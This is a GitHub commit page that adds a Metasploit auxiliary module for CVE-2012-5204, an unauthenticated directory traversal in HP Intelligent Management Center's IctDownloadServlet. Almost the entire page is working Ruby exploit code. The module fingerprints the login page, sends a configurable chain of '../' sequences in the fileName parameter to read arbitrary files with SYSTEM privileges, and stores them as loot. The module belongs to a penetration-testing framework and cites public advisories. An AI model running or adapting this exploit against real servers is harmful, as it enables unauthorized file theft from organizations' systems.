Skip to content

Commit 1b5c34d

Browse files
committed
Merge branch 'hp_imc_ictdownloadservlet_traversal' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-hp_imc_ictdownloadservlet_traversal
2 parents 11253c8 + b6edad1 commit 1b5c34d

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'HP Intelligent Management IctDownloadServlet Directory Traversal',
19+
'Description' => %q{
20+
This module exploits a lack of authentication and a directory traversal in HP
21+
Intelligent Management, specifically in the IctDownloadServlet, in order to
22+
retrieve arbitrary files with SYSTEM privileges. This module has been tested
23+
successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
29+
'juan vazquez' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'CVE', '2012-5204' ],
34+
[ 'OSVDB', '91029' ],
35+
[ 'BID', '58676' ],
36+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-053/' ]
37+
]
38+
))
39+
40+
register_options(
41+
[
42+
Opt::RPORT(8080),
43+
OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
44+
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
45+
# By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\
46+
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
47+
], self.class)
48+
end
49+
50+
def is_imc?
51+
res = send_request_cgi({
52+
'uri' => normalize_uri(target_uri.path.to_s, "login.jsf"),
53+
'method' => 'GET'
54+
})
55+
56+
if res and res.code == 200 and res.body =~ /HP Intelligent Management Center/
57+
return true
58+
else
59+
return false
60+
end
61+
end
62+
63+
def my_basename(filename)
64+
return ::File.basename(filename.gsub(/\\/, "/"))
65+
end
66+
67+
def run_host(ip)
68+
69+
if not is_imc?
70+
vprint_error("#{rhost}:#{rport} - This isn't a HP Intelligent Management Center")
71+
return
72+
end
73+
74+
travs = ""
75+
travs << "../" * datastore['DEPTH']
76+
travs << datastore['FILEPATH']
77+
78+
vprint_status("#{rhost}:#{rport} - Sending request...")
79+
res = send_request_cgi({
80+
'uri' => normalize_uri(target_uri.path.to_s, "tmp", "ict", "download"),
81+
'method' => 'GET',
82+
'vars_get' =>
83+
{
84+
'fileName' => travs
85+
}
86+
})
87+
88+
if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] == "application/doc"
89+
contents = res.body
90+
fname = my_basename(datastore['FILEPATH'])
91+
path = store_loot(
92+
'hp.imc.faultdownloadservlet',
93+
'application/octet-stream',
94+
ip,
95+
contents,
96+
fname
97+
)
98+
print_good("#{rhost}:#{rport} - File saved in: #{path}")
99+
else
100+
vprint_error("#{rhost}:#{rport} - Failed to retrieve file")
101+
return
102+
end
103+
end
104+
end

0 commit comments

Comments
 (0)